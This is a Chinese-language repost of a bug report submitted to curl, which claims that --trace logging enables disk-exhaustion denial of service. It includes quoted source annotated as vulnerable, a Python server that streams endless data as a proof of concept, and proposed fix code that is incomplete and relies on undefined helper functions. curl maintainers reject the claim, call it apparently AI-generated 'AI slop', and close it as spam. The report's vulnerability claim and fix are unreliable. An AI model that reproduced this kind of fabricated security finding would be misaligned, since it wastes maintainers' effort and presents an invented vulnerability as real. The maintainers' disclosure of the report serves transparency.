cURL调试日志磁盘耗尽漏洞导致拒绝服务攻击分析

本文详细分析了cURL工具在使用--trace或--trace-ascii选项时存在的安全漏洞,攻击者可通过发送大量数据导致调试日志文件无限增长,最终造成磁盘空间耗尽和系统拒绝服务。

cURL调试日志磁盘耗尽漏洞导致拒绝服务攻击分析

漏洞描述

tool_debug_cb函数在使用--trace--trace-ascii选项处理大量数据时,会向日志文件写入大量调试数据。如果攻击者能够诱使cURL下载或上传极大量数据(例如通过超大HTTP响应或无限制上传),此调试功能生成的日志文件将无限增长。

这会导致运行cURL的系统磁盘空间耗尽,进而破坏同一服务器上运行的其他服务。

当使用--dump-header选项时,该部分会将原始HTTP头数据写入heads->stream。如果heads->stream恰好与跟踪输出文件相同,或者是另一个具有无限增长潜力的文件,则会加剧此问题。

漏洞代码分析

头文件写入漏洞代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/* In tool_debug_cb */
if(per->config->headerfile && heads->stream) {
    size_t rc = fwrite(ptr, size, nmemb, heads->stream); // <-- 易受攻击的写入
    if(rc != cb)
      return rc;
    /* flush the stream to send off what we got earlier */
    if(fflush(heads->stream)) {
      errorf(per->config->global, "Failed writing headers to %s",
                     per->config->headerfile);
      return CURL_WRITEFUNC_ERROR;
    }
}

TRACE_PLAIN段漏洞代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* In tool_debug_cb, in the TRACE_PLAIN section */
case CURLINFO_HEADER_OUT:
    if(size > 0) {
        size_t st = 0;
        size_t i;
        for(i = 0; i < size - 1; i++) {
          if(data[i] == '\n') { /* LF */
            if(!newl) {
              log_line_start(output, timebuf, idsbuf, type);
            }
            (void)fwrite(data + st, i - st + 1, 1, output); // <-- 易受攻击的写入
            st = i + 1;
            newl = FALSE;
          }
        }
        if(!newl)
          log_line_start(output, timebuf, idsbuf, type);
        (void)fwrite(data + st, i - st + 1, 1, output); // <-- 易受攻击的写入
    }
    newl = (size && (data[size - 1] != '\n'));
    traced_data = FALSE;
    break;

数据输出漏洞代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
case CURLINFO_DATA_OUT:
case CURLINFO_DATA_IN:
case CURLINFO_SSL_DATA_IN:
case CURLINFO_SSL_DATA_OUT:
    if(!traced_data) {
        // ...
        fprintf(output, "[%zu bytes data]\n", size); // <-- 易受攻击的写入
        newl = FALSE;
        traced_data = TRUE;
    }
    break;

dump函数漏洞代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* In function dump */
// ...
fprintf(stream, "%s%s%s, %zu bytes (0x%zx)\n", timebuf, idsbuf,
             text, size, size); // <-- 易受攻击的写入(初始行)

for(i = 0; i < size; i += width) {

    fprintf(stream, "%04zx: ", i); // <-- 易受攻击的写入(行前缀)

    if(tracetype == TRACE_BIN) {
        for(c = 0; c < width; c++)
            if(i + c < size)
              fprintf(stream, "%02x ", ptr[i + c]); // <-- 易受攻击的写入(十六进制数据)
            else
              fputs("   ", stream); // <-- 易受攻击的写入(填充)
    }

    for(c = 0; (c < width) && (i + c < size); c++) {
        // ...
        fprintf(stream, "%c", ((ptr[i + c] >= 0x20) && (ptr[i + c] < 0x7F)) ?
                     ptr[i + c] : UNPRINTABLE_CHAR); // <-- 易受攻击的写入(ASCII表示)
        // ...
    }
    fputc('\n', stream); // <-- 易受攻击的写入(换行符)
}
fflush(stream);

本质上,漏洞不是fwritefprintf调用本身的错误,而是缺少对这些调用的保护包装器或检查来限制写入跟踪日志文件的累积数据。修复涉及添加缺失的检查。

概念验证(POC)

无限数据服务器设置 [unli.py]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import http.server
import socketserver
import time

PORT = 8002

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(f"[{time.ctime()}] Received GET request from {self.client_address[0]}")
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Transfer-Encoding", "chunked")
        # FIX: Changed self0 to self
        self.end_headers()

        # Stream data continuously
        try:
            i = 0
            while True:
                chunk = f"This is chunk {i}: {'A' * 1024}\n".encode('utf-8') # 1KB of data per chunk
                self.wfile.write(f"{len(chunk):X}\r\n".encode('ascii')) # Chunk size in hexadecimal
                self.wfile.write(chunk)
                self.wfile.write(b"\r\n")
                self.wfile.flush()
                i += 1
                # Optional: add a small delay to observe file growth more easily
                # time.sleep(0.01)
        except Exception as e:
            print(f"[{time.ctime()}] Client disconnected or error: {e}")
        finally:
            # End chunked encoding
            self.wfile.write(b"0\r\n\r\n")
            self.wfile.flush()

with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
    print(f"serving at port {PORT}")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\nServer shutting down.")

运行带跟踪选项的curl

1
curl http://localhost:8002/test.txt -o /dev/null --trace output.log
1
2
3
4
└─# curl http://localhost:8002/test.txt -o /dev/null --trace output.log
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 37.0M    0 37.0M    0     0  7857k      0 --:--:--  0:00:04 --:--:-- 7856k

现在您将观察到output.log文件大小随着服务器持续流式传输数据而快速增加,curl记录每一个比特。这演示了导致拒绝服务(DoS)的磁盘空间耗尽。

修复方案

要解决您演示的磁盘空间耗尽漏洞,主要修复需要专注于无任何大小限制地向跟踪日志文件写入数据的代码部分。

在tool_debug_cb()中修复

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int tool_debug_cb(CURL *handle, curl_infotype type,
                  char *data, size_t size,
                  void *userdata)
{
  struct OperationConfig *operation = userdata;
  struct GlobalConfig *global = operation->global;
  FILE *output = tool_stderr;
  // ... 其他变量声明 ...

  // --- 开始修复 ---
  // 确保跟踪流已打开且设置了大小限制
  if (global->trace_stream && global->trace_fopened && global->max_trace_log_size > 0) {
      // 估计此块要写入的数据大小
      // 需要创建此`estimated_write_size`函数
      // 它应考虑格式化开销(例如,十六进制转储占用更多空间)
      size_t estimated_write_size = estimate_formatted_data_size(type, size, global->tracetype);

      // 检查当前写入是否会超过限制
      if (global->current_trace_log_size + estimated_write_size > global->max_trace_log_size) {
          // 关闭文件并禁用跟踪以防止进一步写入
          warnf(global, "Trace log file '%s' reached maximum size (%s). Stopping further trace logging.",
                global->trace_dump, /* 使用类似tool_strbytel(global->max_trace_log_size)的辅助函数格式化大小 */);
          fclose(global->trace_stream);
          global->trace_stream = NULL; // 确保不再发生写入
          global->trace_fopened = FALSE;
          // 您可能还想完全禁用跟踪选项
          global->tracetype = TRACE_NONE;
          global->trace_dump = NULL;
          return 0; // 停止回调进一步处理
      }
  }
  // --- 结束修复 ---

  // ... tool_debug_cb代码的其余部分 ...
}

在dump()函数中修复

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static void dump(const char *timebuf, const char *idsbuf, const char *text,
                 FILE *stream, const unsigned char *ptr, size_t size,
                 trace tracetype, curl_infotype infotype, struct GlobalConfig *global) // 添加全局参数
{
  size_t i;
  size_t c;
  unsigned int width = 0x10;

  if(tracetype == TRACE_ASCII)
    width = 0x40;

  // --- 开始修复 ---
  // 将初始行的大小添加到总数中
  int written_bytes = fprintf(stream, "%s%s%s, %zu bytes (0x%zx)\n", timebuf, idsbuf, text, size, size);
  if (global && stream == global->trace_stream && written_bytes > 0) {
      global->current_trace_log_size += written_bytes;
  }
  // --- 结束修复 ---

  for(i = 0; i < size; i += width) {
    // --- 开始修复 ---
    // 在写入每行前检查限制
    if (global && stream == global->trace_stream && global->current_trace_log_size >= global->max_trace_log_size) {
        // 如果已超过限制,只需中断并刷新剩余内容
        break;
    }
    // --- 结束修复 ---

    // 写入行头(例如,"0000: ")
    written_bytes = fprintf(stream, "%04zx: ", i);
    if (global && stream == global->trace_stream && written_bytes > 0) {
        global->current_trace_log_size += written_bytes;
    }

    if(tracetype == TRACE_BIN) {
      for(c = 0; c < width; c++)
        if(i + c < size) {
          written_bytes = fprintf(stream, "%02x ", ptr[i + c]);
          if (global && stream == global->trace_stream && written_bytes > 0) {
              global->current_trace_log_size += written_bytes;
          }
        } else {
          written_bytes = fputs("   ", stream);
          if (global && stream == global->trace_stream && written_bytes > 0) {
              global->current_trace_log_size += written_bytes;
          }
        }
    }

    for(c = 0; (c < width) && (i + c < size); c++) {
      // ... (CRLF处理逻辑保留) ...
      written_bytes = fprintf(stream, "%c", ((ptr[i + c] >= 0x20) && (ptr[i + c] < 0x7F)) ?
                               ptr[i + c] : UNPRINTABLE_CHAR);
      if (global && stream == global->trace_stream && written_bytes > 0) {
          global->current_trace_log_size += written_bytes;
      }
      // ... (CRLF处理逻辑) ...
    }
    written_bytes = fputc('\n', stream); // 换行
    if (global && stream == global->trace_stream && written_bytes > 0) {
        global->current_trace_log_size += written_bytes;
    }
  }
  fflush(stream);
}

附加修复说明

禁用跟踪:一旦达到限制,必须有效禁用跟踪机制(例如,通过设置global->trace_stream = NULL并将global->tracetype更改为TRACE_NONE)以防止任何进一步的写入尝试。

影响

系统不稳定和崩溃(高影响)

项目团队回应

dfandrich (curl staff) 评论

“是的,确实如此,如果您将大量数据下载到磁盘,您将需要大量磁盘空间。但安全角度在哪里?调试日志不适用于生产系统,但如果应用程序希望使用它们,则必须有足够的资源来保存它们。通过资源使用导致的DoS问题已在libcurl-security.md文档中涵盖,健壮的应用程序必须考虑到这一点。”

jimfuller2024 (curl staff) 评论

“除非我遗漏了什么,这看起来不像是特定于curl的安全问题。”

bagder (curl staff) 评论

“认为这不是安全问题。我猜想是使用AI以某种方式编写了这段文字?”

“@tryhackplanet请向我们解释您提交此报告的理由。您是如何发现它的?您是如何得出结论认为这是一个安全漏洞的?”

“鉴于没有回答,我不得不得出结论,这是又一个愚蠢的AI生成的谎言,人类只是转发给我们,没有过滤或应用思考过程。滥用是这个术语。”

报告状态变更

bagder将报告关闭并将状态更改为垃圾邮件,标记为"AI垃圾"。

bagder请求披露此报告:“根据项目透明度政策,我们希望所有报告都公开披露并公开。”

报告详情

  • 报告时间: 2025年7月14日 2:20am UTC
  • 报告者: tryhackplanet
  • 报告对象: curl
  • 报告ID: #3250490
  • 状态: 垃圾邮件
  • 严重性: 中等 (4 ~ 6.9)
  • 披露时间: 2025年7月14日 11:31am UTC
  • 弱点: LLM04: 模型拒绝服务
  • CVE ID: 无
  • 赏金: 无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计